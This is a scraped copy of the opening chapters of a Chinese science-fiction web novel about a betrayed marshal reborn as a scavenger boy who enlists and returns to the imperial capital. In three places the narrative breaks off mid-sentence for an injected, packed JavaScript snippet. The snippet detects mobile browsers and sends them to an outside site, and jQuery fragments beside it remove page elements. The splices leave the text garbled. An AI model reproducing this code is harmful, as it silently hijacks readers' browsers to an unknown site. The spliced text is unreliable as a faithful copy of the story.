《元帅黑化了!》 1. 01 应征 边缘星域,无名星 征兵登记处 又是一年无名星征兵的时候,登记处人头攒动。登记员坐在高台上,台下报名参军的人排成长龙般的一列。 登记处投影着巨大的虚拟海报,上面是一个披着深红大氅的男人,面目沉静而威仪,正360度悬浮在空中旋转,配的文字是“雷基努斯大帝诚邀你加入帝国后备军”。 “来吧!加入我们,从异兽手中保卫人类的家园!” 一边旋转,投影一边发出失真的声音。 海报有点粗制滥造的意思,但人群中不时有年轻人抬头仰望,目露激动。 雷基努斯大帝登基十二载,治下政绩璀璨,他的脸就代表着整个帝国乃至星际的至高权威,这是他御下的军队,如果有幸入选,就能够跟着舰队去帝都,脱离边缘星域,从此人生就不可同日而语了,年轻人们个个抱着满腔热血跃跃欲试。 “姓名,性别,年龄,身份。” 登记员头也不抬,吐出千篇一律的问题。 “龙雷,男,年龄不确定,大概十六七岁,身份……流浪拾荒者。”一道低哑的声音响起。 听到这个不同寻常的回答,登记员有些讶异,从光屏上瞟了一眼。 台下一道瘦削的身影,衣着破败,满面尘土,看身形还像是个少年。 额发长而乱,难以看清他的面容,只觉得一双眼睛掩在乱发后,一股幽深的亮。 登记员不禁紧了紧眉头。这少年的形容当得起“褴褛”二字,穿的衣服已经不能说是打着补丁,反而根本就像是用不同的布片缝成,一身上下说得上显眼的只有他的发色,灰尘下,那一头乱发似乎是火焰般的红色。 登记员心下涌起淡淡的不喜,他来自发达的中央星域,见到的人从来都衣着得体,这次轮值来边缘星域征兵,来登记的人群也只是衣着稍微寒酸了一点,从没见过如此落魄的形容。 他说自己是“流浪拾荒者”,那不就是捡垃圾吃的流浪汉的意思么? 登记员心里疑惑又不屑,这样的人也来征兵?他的身体素质能达标? 想归想,他还是丢给了这位“流浪汉”一张身份卡,挥挥手打发他: “你的身份卡,拿着去后面做检测。” 红发少年的目光冰冷地一闪,将登记员面上的嫌恶尽收眼底,却没有任何反应,一步踏入检测场地,身影淹没在了排队的人群中。 他刚才报上的名字是“龙雷”,然而这只是个临时杜撰的假名,他真正的名字叫做阿龙迦。 或者说,他上辈子的名字叫阿龙迦。 阿龙迦,帝国最具凶名的元帅,提起这个名字,整个星际没有几个人会不知道。 在他还活着的时候,人们提起这个名字就会不约而同地屏住呼吸,仿佛竭力避免嗅到这个名字中那一股浓郁的血气。 “阿龙迦”,鲜血淋漓的三个字,背后是逆臣的枯骨,政敌死不瞑目的双眼,和堆积如大山的异兽尸体。军中有传言说他所到之处皆如血河,所以人们偷偷给他取了个称号,叫做“猩红之龙”,浸在血色中的龙! 阿龙迦抬起头,在他的记忆中,不久前他还是帝国的元帅,被新帝罗织罪名,以“叛国罪”烧死在边缘星域,人们拍手欢呼。 新帝是个私生子,登基的方式不光明,而那时阿龙迦是他的朋友,两个年轻人,有着如出一辙的理想和目标,约定不计代价地去创造他们梦中那个新时代,于是阿龙迦为他做了许多能做不能做的事。 而后终有一天朋友成为皇帝,新时代真的来临,有人登台,有人就需要退场;有人要光芒万丈,有人就得吞下所有污垢;他知道太多事,手里有太多血,所以新帝不能再让他活下去。 新帝——现在人们尊称他为雷基努斯大帝了。 他抬眼,看着投影中那个冠冕辉煌的人影,男人的脸漠然地俯瞰人群,阿龙迦无声地冷笑。 阿龙迦最后的记忆停止在火中,而后是漫长的黑暗和死寂。再一睁眼,已经是整整七年后,他成为了边缘星域的一个流浪少年。 他在一片巨大的垃圾场上醒来,有了一具新的身体。 这副身体羸弱、瘦小,细骨伶仃,像一把干枯的草杆,不难猜出这身体的原主人是饿死的。阿龙迦不知道他为什么能有机会再活一次,但他知道自己确实极度需要这个机会。 他不甘心。 他死得不甘心。万分不甘,万分忿恨,愤怒几乎像火焰一样从内部吞噬他。他是个军人,可以坦然面对自己的死亡,但他绝不能接受死在自己人手中。 他可以接受的死亡方式只有一种,那就是死在战场上。 重活一次,他迫切地想要回到帝都,那个君临之座,万星之星,永恒酝酿着风暴的权力之眼。 也许是要去向整座帝都带来复仇,又或者只是简单地想去质问御座上的皇帝、曾经的挚友,他还不清楚,但他明白他必将再次踏上那片土地,他痛彻心肺的故乡。 “排到的人把身份卡都交一下!”检测处负责人的大喊声传来。检测处只是一排简陋的白色棚子,棚下列着精密的大型器械。 军队就是用这些仪器来扫描新兵的身体数据的,它们出自帝都最先进的实验室,没有任何人能骗过这些仪器的眼睛。 阿龙迦递上自己的身份卡。 他扫了一眼,这些检测仪器基本还是他熟悉的模样,但今时不同往日,他不再是冷硬铁血的元帅,拥有全方位最顶尖的身体数据,他的身体如今只是一个孩子,并且既病且弱。 他的目光锐利地跳动了一下。 无论如何,他必须通过检测,如今要去帝都,只有参军和军舰一起去这条路。 这颗星球离帝都实在太遥远,远到甚至没有舰队会往返护航,中间还会途径几处宇宙禁区,他已经打听过,除了帝国军舰,没有一只私人舰船会接这个任务。 “下一个!” 检测官看了看手中的身份卡,招手,“……龙雷!” 阿龙迦踏进第一顶棚子。 棚中有人指导,前三项依次是视力、听力、嗅觉的检测,让他鉴别各种图案和信息。 阿龙迦已经利用重生后这段短暂的时间反复打磨了自己的五感,确保这三项的达标。 而后是机器抽血化验,他伸出干枯的手臂,青色的经脉在皮下细瘦可见,像冰层里游动的蛇,暗红的血从透明的胶管中流入庞大的仪器,一项项病毒检验在仪器内部进行。 一分钟后,仪器的指示灯变成绿色,发出“滴”的长声,示意他合格。 再下一项,则是拳击力量测试。负责这一项的记录员是个中年男人,看阿龙迦进来恍惚了一下。无他,实在是阿龙迦太年轻了! 经过前面的几项测试,阿龙迦已经把额发撩了起来,露出一张清秀的脸来,他的眉宇凌厉,眼神如刀,面容却还有一分孩子的稚气,难以掩藏。 虽然来应征的都是些朝气蓬勃的年轻人,但阿龙迦未免年幼的太出众,几乎还是个孩子。记录员实在忍不住问了一句: “你……这么小就来参军,真的成年了吗?” “成年了。”阿龙迦没料到这个问题,沉默了一瞬。 星际十六岁就成年,阿龙迦自己测过骨龄,这具身体大概就在十六岁左右。 “哦,好,你测吧。”中年男人看着他愣怔,这真的不是个孩子么? 阿龙迦回过头,沉缓地吐息,上身像整块的铁那样绷紧起来。 他重重地踏出一步,像一株盘拧在大地上的巨树,苍劲雄浑,从下肢开始发力,腰肌带动手臂,出拳!他像一个陀螺那样撞击示数仪器! 那一拳里有某种狂暴的意味,记录员几乎像看到狂龙挣脱枷锁破空而去。 他下意识地去看示数,顿时倒吸一口凉气,惊呼出声:“82.3kg!这……不可能!” 普通人一拳的力量大概只有60公斤左右,记录员见过了那么多测试者,力量和体格无疑是呈正相关的,而这孩子的体格在他见过的每轮测试中都能排倒数,称得上一句“枯瘦”,甚至远逊普通人,可他却打出了所有测试者中最顶尖的成绩! 男人扭头,眼睛忽地亮起来。 硬件极差却能有绝顶的发挥,这只能说明一个问题,这孩子拥有超越所有人的技巧! 发力点,出拳位置,着力点……看他刚才出拳前的准备动作,确实是非同一般的熟练。 “你……再打,再打!”男人眼神炽热,“一共有五次机会!” 阿龙迦看到了记录员的眼神,却不动声色。他如果这点技巧都没有,那绝不可能从底层一路按军功被提拔成元帅。 他的发挥已经极大地被身体限制了,上辈子他的力量是如今的三倍还多。曾经在军校时,他的武术和实战两科常年蝉联第一。 阿龙迦连续再出四拳,这次有意保留了力量,他不想让自己显得太出格。 最终得到的平均数据是76.5kg,记录员看的面带异彩,目露钦佩。这已经进入职业拳击手的范围了,对于他这样年轻的孩子来说,十分可贵。 “好!”男人实在忍不住站起身来,轻拍他的肩膀,“小兄弟,入军后继续努力!以你的能力,一定能为帝国争光!” 已经默认他一定能够入选了。 阿龙迦朝他点了点头,没有多说,踏入了下一顶棚子。 中间的许多棚子,检测的项目都是耐力或者体力,譬如要求他匍匐、卧倒,引体向上,俯卧撑等等。 纵然他现在身体条件不济,但这些要求并不苛刻,哪怕仅靠意志力,他也能撑到达标。 一刻钟后,他来到了倒数第二顶棚子。 掀帘的瞬间,阿龙迦就看见了棚子正中巨大的罐式扫描仪器,他心中立刻明白了要测的是什么。 怕什么来什么。他慢慢地吐了口气,刚才他没有接记录员的话,就是因为他知道无论早晚,要入伍一定会测这个,而他恰恰只在这一项面前没有把握。 这一项测的是“综合身体素质”。 随着科技发展,扫描仪能够仅通过射线扫描,而得到人体的一切信息。 这台机器能给人的身体,下一个“定论”,一个评级。你的潜力、你当前的身体能力、你的极限……全部综合在这个评级中。 换句话说,它能知道你身体现在的水平,未来又大概能走到多远。 而肌肉、骨骼、发育情况……这些身体数据,不是任何技巧可以干扰或弥补。因此它得到的评定是绝对可信的,不可回避的,拥有绝对权威性的。 所以,军方给予这项评定极高的参考度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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后面还有最后的一顶白棚子,而他心里一万分肯定会测的是什么。 “不用测了,”记录员淡淡地说,“你的身体素质已经被淘汰了,军中从不录用B级以下的人,不用继续了,没那个必要。” “不管有没有必要,我的检测还没走完,还剩一项没测,”阿龙迦缓缓地说,“入伍检测,这是帝国定下的流程。” 他说完这句话,记录员像是听到了什么笑话,镜片后的目光尖锐起来,像有利光一晃。 他上下扫视了一眼阿龙迦,目光着重停留在他破烂的衣服上,似笑非笑: “看你的打扮,你是这颗垃圾星上长大的土著吧?穿成这样,怎么,捡垃圾为生?” “这么想做检测,你知道最后一项测的是什么吗?我可以告诉你,最后一项测的是和机甲的精神同频率。” 记录员的眼睛里带着某种居高临下的嘲讽和怜悯,“精神同频率是什么知不知道?人要和机甲内置机体共振,几千人中才能测出一个个位数,几万人中才测得出一个两位数!” “连帝都军校每天实机操练的学生们,接入机甲的同频率都低的可怜,多少人甚至都不能使机甲完整地走出一步,你这种垃圾星土著,一辈子连机甲的边都没碰过,你甚至连一台真正的机甲都没见过吧?你想去测,你以为能有什么好结果?” “你能改变些什么?天真得可笑!”记录员有力地吐出最后一句话,唇边浮现一抹冷笑,摘下眼镜擦拭,仿佛得胜的将军。 两人的对峙激怒了记录员,最后说起话来语调没收住,棚子隔音又差,两侧的棚子都听到了动静。 “小陈,这是怎么了?” 隔壁有人掀帘进来,出声问询。 来的恰巧就是最后一项机甲检测的负责人,这是位上了年纪的女性,眼角生着细密的皱纹,目光清澈明亮,花白的头发贴着头皮梳得紧紧的,面容上有一股水般的沉静和温和。 她不仅是机甲检测的记录员,同时还是一名资深的机甲师,在完全空白的新手接入机甲时,必须有资深的机甲师在一旁监测,以防万一。 “叶老,有人落选了在这耍赖呢,”眼镜记录员讥笑,“自己测了c-的体质,要是有点尊严,现在就灰溜溜地从门口滚出去,非要在这里丢人现眼,偏要测完最后一项,测了有什么用?” “这样啊……” 老人目光闪烁,她虽然心里觉得完成检测不是过分的要求,可是小陈的说法也没错,军队不是做慈善,确实从来不收体质B级以下的人,哪怕检测机甲,测了也是白测。更何况不是每个人都能安然无恙地从机甲里出来,说不定上一趟机甲还会对他白白造成伤害。 阿龙迦忽地笑了一下,上前一步。 “《太空舰队军法条例》第74条规定,凡机甲同步率达30%以上者,无条件破格录入。” “记录员,你现在就断言我落选,强行阻止参选者完成检测,是渎职的行为,以你的做法,我完全可以向军方投诉。在帝国的舰队中,这个错误足以让你得到一个‘警告’处分,这将成为你职业上长久的污点,从此五大舰队中的任意一个都不会再要你。” “现在,记录员,你还要再阻拦我么?”他的声音彻底冷硬下来,“作为自愿参选者,我有权要求完成检测。” 2. 02 共振 “你!”见他如此咄咄逼人,眼镜记录员彻底被激怒了,直接赶人的话刚要从牙间爆出,却忽然僵住了。 少年的目光漠然地扫过来。 这么近的距离,记录员看清了他的眼睛。 那双眼瞳是深红色的,仿佛血液污染了湖心,浓郁得仿佛一滴化不开的浓墨,他的凝视里有某种令人悚然震怖的东西,像是看见死亡浓重的阴影,下一秒就要铺天盖地的袭来。 “你……你……”那目光像一根毒刺扎入他心底,记录员不自觉地退缩了一步。 他回过神来刚要发作,却被人拉住了。叶老慢慢地叹了口气,“算了,算了,小陈,这事确实是你做的不对。” 她对阿龙迦点点头,“孩子,跟我来吧。你说得对,你确实有权利要求完成检测。” 阿龙迦随她进入最后一间棚子。 一架纯银色的机甲立在棚子里,一束阳光从账外打进来,机甲笼罩在淡淡的晕环中。 极其流畅的机型,没有任何沉重的外骨骼设计,银色的表面像光滑的冰盖,每一根线条都简洁优雅,总体呈现出纤细高挑的人形。 阿龙迦一眼就认出了这具机甲的型号。这是军中最基础的机型: 常型1号-银闪,银色闪电,以轻便灵敏著称。 机甲被固定在移动底座中,叶老来到底座旁,展开光屏操作。 一瞬之后,一线流光从下往上亮起,流过4米高的机身,这架“银闪”被激活了,金属的弹叩声中,它的胸腔及以上像莲花一样绽开,现出驾驶室的空仓。 “进去吧,在里面不要着急,会有智能提示引导你。”叶老看向阿龙迦。 阿龙迦颔首,没有借助梯架,他的身形鬼魅般转折,三次借力,就翻身进入了驾驶室。 银闪的外层缓缓降下,视野逐渐暗沉,驾驶室里有股异常的温暖,外层完全覆盖后,完全的黑暗降临,一切都安静下来。 他的耳边响起一个沉缓的震颤。低沉有力,隐隐约约,像是一个鼓点,从四面八方包围住他。 阿龙迦对这个声音太熟悉了。这是这具机甲的“心跳”。 和旧星际时代纯机械的机甲不同,自从异兽出现、混乱纪元开始,为了对抗异兽的需要,星际间使用的机甲全部是生物型机甲,不仅有机械殖装,内部还嵌入了活性血肉。 这是为了抵御异兽所散发的某种特殊“场”,这种场的存在可以影响人的精神,唯有异兽本身的血肉可以隔绝,所以人类培育出了去掉一切意识器官的异兽躯体,利用装甲加以控制,人类以自己的意识接入,达成操控。 从这种意义上说,所有的机甲都是活的。 阿龙迦缩在黑暗之中,感受到了前所未有的放松。 他的心跳和机甲似乎跳成了一个声音,那股温暖彻底包裹他,他知道,那其实是这具异兽躯壳的体温。 一个冰冷的电子音在驾驶室中响起: “滴——检测到临时使用者!” “使用授权已确认!” “机甲进入待机状态,各方面数据正常,神经接驳准备中……” “3,2,1……神经接口接入!” 阿龙迦静静地躺着,他感觉到背后有整附金属衣贴合上来,牢牢地控制住他的整个躯干,这是一种特殊的软金属,同时具有质软和韧性极强两个特点,被人们命名为“云金属”。 “神经接口接入中!” 云金属中探出冰冷的机械小枝,完整的一长列,紧贴在他的脊柱上,刺入皮肤中固定,带来密密麻麻的刺痛,末端覆盖整个后脑,紧贴头皮。 他的整条脊椎连着头颅被死死地固定在金属衣上,沁人的冰寒从那里刀一样刺入,像要把他从背后整个剖开。 “神经接口接入完成!” “开始精神共振!” “共振水平监测中……” 脑后的云金属热起来,某种不适感从脑后辐射,阿龙迦的身体剧烈地颤抖了一下。这是这具身体平生第一次接入机甲,进行精神共振,这种反应再正常不过。 人要操纵机甲,实际上操纵的是其中的异兽躯体,精神就必须和异兽达成共振。 不能共振,和异兽的精神区域没有重叠的人类,就完全无法操控机甲。 “同频率1%,2%……” 后脑的云金属热度迅速升高,他脑中“嗡”的一下,眼前闪过模糊的画面,有声音遥远地传来。 第一次接入机甲,共振过程中出现幻视和幻听,是必然的情况。 “同频率5%,6%……” 幻觉逐渐加重,眼前画面闪灭,他开始出现严重的幻听,无数个声音从四面响起,像大雾那样逼近。像是有成千上万的鬼魅同时起舞,它们忽远忽近,披着透明的轻纱,呼出白雾的气吐在他身上,堵塞他的耳朵。 渐渐地,一面面轻盈的纱被揭开,长纱坠地,他听清了那些声音,那是同一个人在说话,同一个孩子的声音,空荡荡地回响,他很难过,他在哭泣,他的声音里透着巨大的悲痛,他在说: “对不起,对不起……不要死!求求你!” 眼前的最后一层纱被扯去,他看见泼天的大雨。 铁灰色的天空,暴雨声沉雄,像震动地面的怒吼,阿龙迦躺在血泊中,感觉全身的血液在慢慢地流失,巨大的寒冷抓住他的心脏。 他默默地仰望天空,从一滴雨中看去,天心浩瀚无穷。世界正在离他远去,他的牙齿打颤发抖,他觉得很冷,冷到骨头缝里都在隐隐作痛,冷到需要某个人用力地抱住他,才能感知到自己的身体。 然后那个人来了,苍白孱弱的孩子,跪在血泊中,俯身拥抱他。 孩子像是用尽了全身的力气去拥抱阿龙迦,他的身体也在发抖,他用单薄的背挡落暴雨,热度透过衣服从他的身上传来。血水把他从白色染成红色,阿龙迦看清了他的脸,苍白的眉宇,点漆般的眼睛,梳得整齐的乌黑鬓角,那张秀气的脸上透着巨大的悲伤,他说: “求求你,别死!你是我唯一的……朋友啊!” 唯一的,朋友么? 阿龙迦在心里默默地念这句话。 当年十二岁的阿龙迦满身鲜血地回抱他,二十三年后,已经死去的阿龙迦,闻言却只是微微地笑了一下: “陈寂,我不是你的朋友,没人是你的朋友。你是皇帝啊,你把我们都烧死了。” 阿龙迦从他的背后松开双手,漠然地仰面看向天空。 帝都少有那么大的雨,白色的急流,化作千万条密集的雨线狂奔而下。 孩子的怀抱无力地松开,他慢慢地咳嗽一声,口中吐出鲜血,直直地倒了下去,倒下的那个瞬间,秀气的脸儿上还定格着纯净的悲伤,双眼茫然地睁开。 他的背后插着一块机甲的碎片,小小的一片金属,只有手掌那么大,却锋利得足以穿透血肉,切开他的心脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126962|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。从进入这个幻觉开始,阿龙迦就在血泊中抓住了它,藏在掌心。 他的手抚过孩子后背的同时,也在杀死他。 一切形象都被大雨洗的褪色,幻觉淡去,眼前依旧是黑暗的驾驶室。 阿龙迦看向自己的右手,手中似乎还残留着血的温热。 面前有一面荧蓝的光屏,上面的进度条正在推进跳动,显示的是: “同频率18%,19%……” 同样的页面也显示在机甲之外。叶老注视着进度条,看着它以缓慢的速度上涨,点了点头: “两位数的同频率,不错了。” 她心中暗暗地可惜,体质达标的情况下,只要同频率超过10%,就会被录入,奈何阿龙迦的体质只有C-……恐怕还是会和入伍机会擦肩而过。 她并不认为阿龙迦真的能达到他说的30%,要知道,超过20%的同频率就已经算军中对士兵最高的要求,可以上一线战场了。 50%以下的同频率都算安全,但为了稳定,舰队从不录用40%以上的人员,整个混乱纪元40%也只出现过两例,所以30%之上就是绝无仅有的天才了,几十万人中都不一定有一个。 在叶老的视线中,进度条缓缓涨过了20%,最终在24%的地方停了下来。 她长长地叹了一口气,24%,非常不错的数字,可还是到此为止了,哪怕她心里惋惜,也只能接受阿龙迦落选的事实。 她已经转过了身,准备开启机甲,让阿龙迦出来。 突然,尖锐的提示音在整座棚子中响了起来。 在叶老眼角的余光中,屏幕上的进度条狠狠地一跳,直接跨越了代表20%区间的蓝色区域,抵达了30%的红色区域! 还在攀升! 叶老惊骇地转过身来,她从没见过有人的同频率能够二次攀升! 进度条还在以恐怖的速度前进,瞬间就走完了30%的区间,马上就要抵达代表40%的黑色区域! 最终,进度条还是不甘地停在了黑色区域之前。 39%,最终数据! 叶老颤抖着手展开光屏,当她二次确认真的是39%的同频率之后,她几乎抑制不了自己声音中的颤抖: “39%,39%……多少年没有出现过的数字了……这是,与怪物只有一线之隔的天才啊!” 机甲内,阿龙迦精疲力尽地靠在金属衣上。 他尽力了,这具身体的同频率本来应该就是24%,能有二次跃升,全是因为他前世隐秘的特殊能力。 他能自由调整和机甲的同频率。 对于他来说,同频率就只是个数字而已,他想要多少,就能呈现出多少。 他可以调整到绝对失控的50%以上,也可以控制在标准的20%左右,全凭个人意志。 这是他前世最大的秘密。这个秘密,全世界只有他和皇帝二人知道。 说出去会很吓人的吧?可以随意调整同频率什么的? 也许会被认为是怪物。毕竟机甲里面的是那么丑陋的异兽。 冷汗顺着后背流下去,阿龙迦的意识模糊了,第一次接入机甲,对这具身体的负荷太大。 恍惚中,他似乎看见机甲的外壳升起,眼前重见光明,叶老在说: “孩子,你入选了,39%,你可以加入……天哪,军医!军医!20号棚!这里有人昏过去了!” …… 3. 03 帝都君临 三天后 军舰划破漆黑的夜空,驶离无名星的大气层。 阿龙迦坐在舷窗边,外面是帝国的军舰群,密集地行驶,有如钢铁的洪流横穿天幕。 三天前,他成功地以39%的同频率破格入选,成为帝国后备军的一员。 征兵在昨天正式结束,虽然应征的人数不胜数,但是有机甲的同频率在最后卡着,绝大部分人都没达到两位数,最后入选的,只有45人。 这45人将作为新兵,被带去帝都星,接受军中正式的训练。 终于能够回到帝都了,阿龙迦力竭般地吐出一口气,把自己深深地陷进椅背。 他不知道自己到底是什么心情,也许是迫不及待,又或者是陌生。 这个世界已经过去整整七年了,对他来说,一切却恍如还停在昨日。 阿龙迦默默地扭头去看自己在舷窗上的倒影,眉目稚气,线条分明,一张全然陌生的脸。 这次回去,不会再有任何人认识他。 他将真的成为一个默默无闻的外乡人,来自边缘星域的流浪少年。 “全体注意,5秒后,进入曲速飞行状态。”电子音在广播中响起。 没有剧烈的晃动。停滞的一瞬后,静止的繁星化作千万条光痕扑面而来,星流如雨,恒星的光芒拉出平行的亮线。 飞船进入曲速跳跃后,便如行经在银亮的光雨之中。 舰船们升起透明的能量盾。 舷窗外,防辐射层缓缓降下,黑色涂层遮去奔流的星光,飞船内的灯光配合地依次熄灭,舱内暗下来,阿龙迦闭上双眼。 接下来会是整整十三个小时的航行。 这艘军舰将保持曲速行驶到中央星域的外围,前往第三星环,在那里,通过大星门进行跳跃,抵达已知宇宙的中心——王庭星团。 …… 飞船行驶平稳,阿龙迦陷入了深沉的梦境。 重生后,他第无数次梦到过去。 梦里的情景高度相似,也是在漆黑的宇宙中,也是这样的低等军舰,灯光黯淡,舰上挤满一船新兵。 那是他上辈子刚参军的时候。 一面巨大的观测窗前,阿龙迦低头往下望。 他的脚底,几百万米之下,是一颗晶莹的行星。 它是银色的,笼罩在漫射的辉光中,美丽得惊心动魄。 仿佛是一只纯银镂空的藤球,球心点着一支明灭的火烛,灿烂的灯火从这星球内部透出来,照得地壳好像是透明的,整颗星球只是一团朦胧的光。 这是一颗完全人造的行星。它的绚丽直逼恒星。 “帝都……就要离开了,也许很多年都不会再回来了吧?”身边有人轻声说。 “既然加入了太空军,也许会战死在外面也说不定。”阿龙迦耸耸肩,挑起眉毛笑,“但死不死都是未来的事,陈寂,别害怕。” 巨大的窗中映出两道并立的人影。 都是神采飞扬的年轻人,一道红发如火,一道苍白而沉静。两人身上都是蔚蓝色的太空军军服,衬得身形修长挺拔。 “我不是害怕,”陈寂淡淡地笑了一下,“只是在帝都住了这么多年,作为私生子,像囚犯一样长到了十八岁,什么也不能做,哪里也没有去过,终于要离开,心里觉得不适应。像是有人给你打开了一扇门,但你的手脚被捆住太久,还不知道怎么爬过去。” “没事。既然一起参军了,以后就是新的人生了!管帝都那些败类干什么,我们上战场杀异兽去。”阿龙迦一把揽住陈寂的脖子。 他对陈寂挤眉弄眼,“在军校学了那么多理论操作,你难道不想开几艘驱逐舰?等打点军功下来,有朝一日咱们说不定还能上恒星级主舰摸一摸!” 陈寂看着他的朋友剑一样飞扬的双眉,他知道阿龙迦对驾驶战舰的狂热,于是也笑了,“好,只要我不死在战场上,那我的军功就全给你,你开战舰的时候记得带上我就好。” 两个人默默地盯着浩瀚的星空发呆。 “不后悔么?”漫长的寂静后,陈寂忽然开口,“如果不做我这个皇帝私生子的朋友,你是军校第一的天才,高层不会为难你,你可以直接进入五大舰队的核心,得到重用,而不是和我一样从太空军底层做起。” “不后悔。”阿龙迦摇摇头,“你说我是你唯一的朋友,可我也没有朋友的。如果没有你,我就是一个人了。” “只有你会这么说。” 陈寂那张清秀的脸上浮现出一个苍白的笑容,苍白而无力,点漆般的黑眼睛中,像是下着永不停息的大雨,一股宁静深远的忧郁。 “这么多年,你依然是我唯一的朋友。没人想做一个私生子的朋友的,只有你愿意。” “说的好像我们是两只怪物互相取暖一样……”阿龙迦轻声说。 他忽地眉飞色舞起来,“可谁说我们才是怪物?谁叫我们不高兴,谁才是怪物!非我们的才是怪物!” “陈寂,陈寂!少想一点!看看宇宙!看看星空!”他搂紧陈寂的脖子,压到窗前,“是不是很大很大?是不是浩瀚无穷?未来会有很多立功的机会的!能有机会去做一些真正的……大事情!” “别丧气,别灰心,”他轻柔地抚平年轻人的衣领,“我们还年轻,属于我们的时代……还没到来啊。” “嗯。”年轻人腼腆地笑了,“星空,听上去就像是个自由的词啊。无边无际,无始无终。” 他深深地呼吸,仿佛也把这宇宙的深远磅礴吸进肺里。 阿龙迦望着灿烂如银的帝都星君临,轻声开口: “帝都么……陈寂,别担心,有朝一日,我们还会回来的。” “会回来的,一定。”陈寂和他对视,似乎是某种郑重的承诺,“我们一起。” 我们一起。 …… “小崽子们,都给我滚起来!” 粗犷的男声像一道闪电划破寂静。 漆黑的舱室内,一道坚实高大的背影立在船舱尽头。 随着男人的话语,一排排照明灯依次亮起,灯光如一条长龙前涌,照亮他肌肉隆起的上半身,和凶恶的面孔。 男人穿着一身海蓝色的军服,身形却像某种小山般虬结的怪兽。 他冷冷地开口:“从今天起,我就是你们的教官!记住我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126963|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字,我叫费德罗.隆!” 年轻人们从睡梦中骤然地惊醒,看着这个体型巨硕的男人,脸上都有股明显的畏惧和惊诧。 “看你们这没出息的样子,都是边缘星域的土著吧?”他从鼻子里冷哼一声,“到帝都了还这副萎靡的怂样?这是你们这辈子第一次进入帝都,还不滚起来好好看着?能踏入帝都的土地,这是别人梦里也想象不到的荣耀!” “都给我打起精神来!再睡给我直接滚回边缘星域!”他一脚踢中旁边某个摇摇欲坠的年轻人的屁股,一声痛呼瞬间响彻舱内,新兵们悚然坐正。 “小子们,现在就是我给你们上的第一课!帝都的样子,等会儿都给我看仔细了!作为军人,给我死死地记住,牢牢地刻进你们的脑子、心脏、灵魂里,什么叫做帝国的荣光!” 他大力地鼓掌。 掌声中一切开始改变,防辐射层悄然升起,每一扇舷窗都亮了起来,两颗恒星在天穹里浮现,灿烂的晨曦铺天盖地的涌入,有如一场金色的大潮。 “睁大你们的眼睛看着!这将是你们生命中唯一的一次机会,哪怕穷尽你们的一辈子走遍宇宙的每一个角落,也再也不会看到这样辉煌的……天堂!” 年轻人们不约而同地低头。 这一刻,所有人都看见了,海潮般的晨曦中,那颗银色的星球。 它是剔透的,纯净的,像火中融化流淌的银子,某种晶莹的冰壳,它在舷窗中显露出完美的圆弧,仿佛绝世的美人打扇低眉,露出一抹新月般的额头,世上再没有那么完满的圆形。再精妙的圆规也无法画出它的轮廓,它像是对世俗意义上的一切“圆”,一切“完满”的总和,某种幻梦的终极具象化。 蒙蒙的微光从里面迸发出来,它美好得如同虚构。 费德罗以“天堂”称呼它,但如果让偶然至此的迷航之人撞见,也许会以为这里是太古的传说中,什么神魔的栖息地。 “人们叫它‘风暴之眼,万星之星’,如果宇宙是个鲜活的生命,那么这座星球也该是它的心脏。” 费德罗头一次放缓了声音,仿佛畏惧惊醒什么: “它的名字是——帝都,君临。” 年轻人们露出目眩神迷的神情,第一次看见君临星的人,大多都是这样痴迷的反应。 阿龙迦也低头去看这颗名为“君临”的美丽星球,在很久之前,这里曾经是他的家。 梦中陈寂的声音在他耳边响起,“会回来的,我们一起。” 阿龙迦忽地笑了,笑意冷冷,再也不像当年参军时那个神采飞扬的年轻人了。 君临星,如今许多年后,他真的跨越生死再次归来。可是这次,却是彻彻底底的一个人了。 一起回来?怎么一起? 带着他的骨灰一起回来么? 他暗暗地想,陈寂,你说的话,真是一向都不怎么算数。 军舰进入君临星的大气层,开始降落。 阿龙迦对着窗外轻声说,“君临,我要回来了。你准备好了么?” 在这浩大的星球面前,阿龙迦的身形瘦小如一粒尘埃。可这粒尘埃的语气却冷硬如刀,毫不畏惧。 4. 04 寂静之英雄王 君临,中天塔 一千六百六十六级台阶,这就是中天塔离地的距离。 太空军署署长杜无悔站定,抬头,白色的巨塔在他面前拔地而起,塔顶绝高如在云中。 说是“中天塔”,其实这更应该叫“中天宫”或者“中天阁”,因为这是帝国皇帝的官方居所。但它实在是太高了,像是一支直刺天空的矛枪,所以人们都以“塔”称呼它。 正午十二点整,塔底的门向两侧滑开,形象完美的一男一女走出来,向杜无悔欠身鞠躬: “杜署长,请。” “陛下有没有说紧急召见我的原因?”杜无悔抬手擦去鬓边的冷汗,身体微微打颤。 秘书们看着这个狼狈的中年男人,他的衣装发型在风中跑乱了,显现出原本的地中海秃顶,和束在风衣下的啤酒肚来,肥胖的脸上汗流如雨,无疑失态极了,两人脸上的笑容却依然亲切完美,没有一丝惊讶的神情,仿佛凝在脸上的妆面。 “您会知道的,陛下在等您,杜署长,请。” 两人的回应也如预设好的程序。杜无悔泄了气,跟着二人踏入电梯。 